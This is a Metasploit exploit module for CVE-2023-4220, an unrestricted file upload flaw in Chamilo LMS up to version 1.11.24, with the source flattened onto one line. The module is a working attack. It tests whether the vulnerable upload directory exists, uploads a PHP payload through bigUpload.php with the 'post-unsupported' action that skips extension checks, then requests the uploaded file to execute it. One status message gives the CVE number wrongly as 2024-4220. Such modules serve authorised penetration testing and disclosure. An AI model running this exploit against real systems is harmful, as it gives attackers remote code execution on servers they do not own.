## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck class UploadFileError < StandardError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell', 'Description' => %q{ Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist by default. }, 'Author' => [ 'Ngo Wei Lin', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'], [ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'], [ 'CVE', '2023-4220'] ], 'License' => MSF_LICENSE, 'Platform' => %w[php], 'Privileged' => false, 'Arch' => [ ARCH_PHP ], 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP } ], ], 'DisclosureDate' => '2023-11-28', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/') ) return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404 print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.') test_file_content = rand_text_alphanumeric(8) test_file_name = rand_text_alphanumeric(8) begin upload_file(test_file_content, test_file_name) rescue UploadFileError => e return CheckCode::Safe("#{e.class}:#{e}") end CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).') end def upload_file(file_contents, file_name) vars_form_data = [ { 'name' => 'bigUploadFile', 'data' => file_contents, 'filename' => file_name, 'mime_type' => 'application/octet-stream' } ] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'), 'vars_form_data' => vars_form_data, 'vars_get' => { 'action' => 'post-unsupported' } ) raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.' register_file_for_cleanup(file_name) end def exploit file_contents = payload.encoded file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" begin upload_file(file_contents, file_name) rescue UploadFileError => e fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}") end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name) }) end end